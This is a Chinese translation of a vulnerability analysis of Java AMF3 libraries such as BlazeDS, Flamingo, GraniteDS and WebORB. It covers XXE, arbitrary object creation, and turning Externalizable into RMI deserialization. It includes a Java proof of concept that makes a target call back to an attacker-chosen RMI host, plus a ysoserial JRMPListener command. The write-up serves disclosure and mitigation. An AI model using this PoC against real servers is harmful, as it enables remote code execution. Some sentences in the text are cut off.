写在前面的话

AMF(Action Message Format)是一种二进制序列化格式,之前主要是Flash应用程序在使用这种格式。近期,Code White发现有多个Java AMF库中存在

目前,漏洞相关信息已上报至美国CERT(详情请参考美国CERT VU#307983)

概述

目前,Code White主要对以下几种热门的Java AMF实现:

Flex BlazeDS by Adobe

Flex BlazeDS by Apache

Flamingo AMF Serializer by Exadel (已停更)

GraniteDS (已停更)

WebORB for Java by Midnight Coders

而这些又存在着下面列出的一个或多个漏洞:

XML外部实体注入(XXE)

任意对象创建及属性设置

通过RMI实现Java序列化

漏洞影响

简而言之,任意远程

前两个漏洞并不是新漏洞,但是目前仍然有很多库存在这样的漏洞。除此之外,研究人员也发现了一种能够将这种设计缺陷转换成Java序列化漏洞的方法。

我们将会对上述漏洞(除了XXE)进行详细描述,如果你想了解关于这个XXE漏洞的详细内容,请参考我们之前所发表的一篇文章《CVE-2015-3269: Apache Flex BlazeDS XXE Vulnerabilty》。

介绍

AMF3(Action Message Format version 3)同样是一种二进制信息编码格式,它也是Flash应用在与后台交互时主要使用的一种

AMF3对象的新功能可以归结为两种新增加的特性,而这两种新特性(dynamic和externalizable)描述了对象是如何进行序列化操作的:

Dynamic:一个声明了动态特性的类实例;公共变量成员可以在程序运行时动态添加(或删除)到实例中。

Externalizable:实现flash.utils.IExternalizable并完全控制其成员序列化的类实例。

注:具体请参考Adobe官方给出的解释【传送门】。

Dynamic特性

我们可以拿Dynamic特性与JavaBeans的功能进行对比:它允许我们通过类名及属性来创建一个对象。实际上,很多JavaBeans实体目前已经实现了这种技术,例如java.beans.Introspector、Flamingo、Flex BlazeDS和WebORB等等。

但需要注意的是,这种功能将会导致一种可利用的漏洞产生。实际上,Wouter Coekaerts早在2011年就已经将这种存在于AMF实现中的漏洞曝光了,并且还在2016年发布了相应漏洞的利用代码及PoC。

Externalizable特性

我们可以拿Externalizable特性赖于Java的java.io.Externalizable接口进行对比。实际上,很多厂商早就已经将flash.utils.IExternalizable接口的规范进行了调整,其实它与Java的java.io.Externalizable区别不大,这种特性将允许我们可以高效地对实现了java.io.Externalizable接口的类进行重构。

java.io.Externalizable接口定义了两个方法:即readExternal(java.io.ObjectInput)和writeExternal(java.io.ObjectInput),而这两个方法将允许java类完全控制序列化以及反序列化操作。这也就意味着,在程序的运行过程中不存在默认的序列化/反序列化行为以及有效性检测。因此,相对于java.io.Serializable来说,我们使用java.io.Externalizable来实现序列化/反序列化则更加的简单和高效。

将EXTERNALIZABLE.READEXTERNAL转换为OBJECTINPUTSTREAM.READOBJECT

在OpenJDK 8u121中总共有十五个类实现了java.io.Externalizable接口,而其中绝大多数类的任务仅仅是重构一个对象的状态而已。除此之外,实际传递给Externalizable.readExternal(java.io.ObjectInput)方法的java.io.ObjectInput实例也并非java.io.ObjectInputStream的实例。

在这十五个类中,那些与RMI有关的类则吸引了我们的注意。尤其是sun.rmi.server.UnicastRef和sun.rmi.server.UnicastRef2,因为他们会通过sun.rmi.transport.LiveRef.read(ObjectInput, boolean)方法来对sun.rmi.transport.LiveRef对象进行重构。除此之外,这个方法还会重构一个sun.rmi.transport.tcp.TCPEndpoint对象以及一个本地sun.rmi.transport.LiveRef对象,并且在sun.rmi.transport.DGCClient中进行注册。其中,DGCClient负责实现客户端的RMI分布式垃圾回收系统。DGCClient的外部接口为“registerRefs”方法,当一个LiveRef的远程对象需要进入虚拟机系统时,它需要在DGCClient中进行注册。关于DGCClient的更多内容请参考OpenJDK给出的官方文档【传送门】。

根据官方文档中的描述,LiveRef的注册是由一次远程调用完成的,而我们觉得这里将有可能允许我们通过RMI来实现远程代码执行(RCE)!

在对这次调用进行了追踪分析之后,我们发现整个调用过程非常复杂,它涉及到Externalizable.readExternal、sun.rmi.server.UnicastRef/sun.rmi.server.UnicastRef2、ObjectInputStream.readObject以及sun.rmi.transport.StreamRemoteCall.executeCall()等多种对象及方法。

接下来让我们来看看,如果我们通过一个sun.rmi.server.UnicastRef对象来对一条AMF消息进行反序列化的话会出现什么情况,相关代码如下所示(利用了Flex BlazeDS):

import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.util.Arrays;import flex.messaging.io.SerializationContext;import flex.messaging.io.amf.ActionContext;import flex.messaging.io.amf.ActionMessage;import flex.messaging.io.amf.AmfMessageDeserializer;import flex.messaging.io.amf.AmfMessageSerializer;import flex.messaging.io.amf.MessageBody;public class Amf3ExternalizableUnicastRef {public static void main(String[] args) throws IOException, ClassNotFoundException {if (args.length  ");return;}boolean doDeserialize = false;if (args.length == 3) {doDeserialize = true;args = Arrays.copyOfRange(args, 1, args.length);}// generate the UnicastRef objectObject unicastRef = generateUnicastRef(args[0], Integer.parseInt(args[1]));// serialize object to AMF messagebyte[] amf = serialize(unicastRef);// deserialize AMF messageif (doDeserialize) {deserialize(amf);} else {System.out.write(amf);}}public static Object generateUnicastRef(String host, int port) {java.rmi.server.ObjID objId = new java.rmi.server.ObjID();sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port);sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false);return new sun.rmi.server.UnicastRef(liveRef);}public static byte[] serialize(Object data) throws IOException {MessageBody body = new MessageBody();body.setData(data);ActionMessage message = new ActionMessage();message.addBody(body);ByteArrayOutputStream out = new ByteArrayOutputStream();AmfMessageSerializer serializer = new AmfMessageSerializer();serializer.initialize(SerializationContext.getSerializationContext(), out, null);serializer.writeMessage(message);return out.toByteArray();}public static void deserialize(byte[] amf) throws ClassNotFoundException, IOException {ByteArrayInputStream in = new ByteArrayInputStream(amf);AmfMessageDeserializer deserializer = new AmfMessageDeserializer();deserializer.initialize(SerializationContext.getSerializationContext(), in, null);deserializer.readMessage(new ActionMessage(), new ActionContext());}}

为了证实代码能够正常运行,我们首先设置了一个监听器,然后看一看链接是否能够成功建立。

此时,我们成功地与客户端建立了一条通信连接,而且使用的还是Java RMI传输协议。

漏洞利用

实际上,jacob Baines早在2016年就已经将这项技术(反序列化黑名单绕过)公之于众了,但是我并不确定当时他是否知道这种技术同样还会将任意的Externalizable.readExternal对象转换为ObjectInputStream.readObject对象。除此之外,他当时还介绍了一个可以发送任意Payload的JRMP监听器:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener ...

厂商产品影响情况

缓解方案

首先,使用了Adobe或Apache实现的应用程序应该尽快将Apache更新至最新版本(v4.7.3)。其次,Exadel目前已经停止对他的代码库进行维护了,所以使用了Flamingo AMF Serializer的用户不会再收到更新推送了。不过目前对于GraniteDS和WebORB还没有合适的解决方案。

参考资料

http://codewhitesec.blogspot.com/2017/04/amf.html

http://openjdk.java.net/jeps/290

http://www.kb.cert.org/vuls/id/279472

http://www.adobe.com/go/amfspec

https://cwe.mitre.org/data/definitions/502.html

https://cwe.mitre.org/data/definitions/913.html

https://cwe.mitre.org/data/definitions/611.html

其他信息

CVE ID:

CVE-2015-3269、CVE-2016-2340、CVE-2017-5641、CVE-2017-5983、CVE-2017-3199、CVE-2017-3200、CVE-2017-3201、CVE-2017-3202、CVE-2017-3203、CVE-2017-3206、CVE-2017-3207、CVE-2017-3208

公开日期:2017年4月4日

最新更新日期:2017年4月4日

文档版本:73

java amf3_Java AMF3 反序列化漏洞分析相关推荐

  1. Fastjson 1.2.68版本反序列化漏洞分析篇

    点击上方蓝色"程序猿DD",选择"设为星标" 回复"资源"获取独家整理的学习资料! 作者 | ale_wong@云影实验室 来源 | htt ...

  2. tomcat源码分析_CVE-2020-9484 tomcat session反序列化漏洞分析

    作者:N1gh5合天智汇 title: CVE-2020-9484 tomcat session反序列化漏洞分析 tags: CVE,Tomcat,反序列化 grammar_cjkRuby: true ...

  3. Fastjson 1.2.22-24 反序列化漏洞分析

    目录 0x00 废话 0x01 简单介绍 FastJson的简单使用 0x02 原理分析 分析POC 调试分析 0x03 复现过程 0x04 参考文章 0x00 废话 balabala 开始 0x01 ...

  4. commons-collections反序列化漏洞分析——远程代码执行

    commons-collections反序列化漏洞分析--远程代码执行 命令执行以及通过反射进行命令执行 这里先说说java里面的命令执行.其实java的命令执行和PHP类似,PHP一般通过eval和 ...

  5. MySQLJDBC反序列化漏洞分析

    JDBC反序列化漏洞 Java数据库连接,(Java Database Connectivity,简称JDBC)是Java语言中用来规范客户端程序如何来访问数据库的应用程序接口,提供了诸如查询和更新数 ...

  6. XStream反序列化漏洞分析

    XStream反序列化漏洞分析 XStream反序列化漏洞分析 代理模式 EventHandler XStream 生成payload XStream流程分析 写在最后 XStream反序列化漏洞分析 ...

  7. Java安全之Axis漏洞分析

    Java安全之Axis漏洞分析 0x00 前言 看到个别代码常出现里面有一些Axis组件,没去仔细研究过该漏洞.研究记录一下. 0x01 漏洞复现 漏洞版本:axis=<1.4 Axis1.4 ...

  8. thinkphp5.0.24反序列化漏洞分析

    thinkphp5.0.24反序列化漏洞分析 文章目录 thinkphp5.0.24反序列化漏洞分析 具体分析 反序列化起点 toArray getRelationData分析 $modelRelat ...

  9. shrio反序列漏洞修复_Apache Shiro Java 反序列化漏洞分析

    Author: rungobier(知道创宇404安全实验室) Date: 2016-08-03 0x00 概述 Apache Shiro 在 Java 的权限及安全验证框架中占用重要的一席之地,在它 ...

最新文章

  1. Nginx-场景实践篇
  2. 探访物联网安全新边界 文印保护成思维盲区
  3. C++的字符串分割函数
  4. linux 百度地图离线sdk,Android开放百度地图集成
  5. 基本汇编语言学习结构
  6. pl/sql查询中文乱码
  7. windows系统 Git Server git服务器自己搭建 (基于 Gitblit or Gogs )
  8. JS连接数据库(需配置odbc)
  9. 深入浅出GAMP算法(下):MMSE估计和AWGN场景
  10. 基于矢量网络分析仪的天线近场测试方案
  11. 淘宝Fourinone介绍及与Hadoop的性能PK
  12. 感知机-收敛性证明及代码实现
  13. 关于excel 打开时提示 文件正在使用 正处于锁定状态 正在编辑 的不治本但简单可行的解决办法
  14. Paper | Detail-revealing Deep Video Super-resolution
  15. Halcon算子:灰度共生矩阵gen_cooc_matrix、cooc_feature_matrix、cooc_feature_image
  16. Flutter Navigator基础使用
  17. 奇偶归一猜想(多组数据)——又称为3n+1猜想、冰雹猜想、角谷猜想
  18. ACM-音频编解码器管理器
  19. 一个神奇的下载按钮css实现
  20. 第十四届蓝桥杯三月真题刷题训练——第 20 天

热门文章

  1. Java 进栈出栈的过程
  2. java项目 异常如何解决_Java项目中常见的异常处理
  3. ARIMA模型的建模和预测
  4. python矩阵中找满足条件的元素_Python 找到列表中满足某些条件的元素方法
  5. java 代码锁_Java中的Lock锁
  6. LNK2019 无法解析的外部符号 __imp_CommandLineToArgvW,该符号在函数 WinMain 中被引用
  7. Aveva Marine 新建项目001
  8. Yii 2.0 GII 访问404错误
  9. Tomcat映射虚拟路径到指定磁盘(eclipse)
  10. 8.String、StringBuffer、enum枚举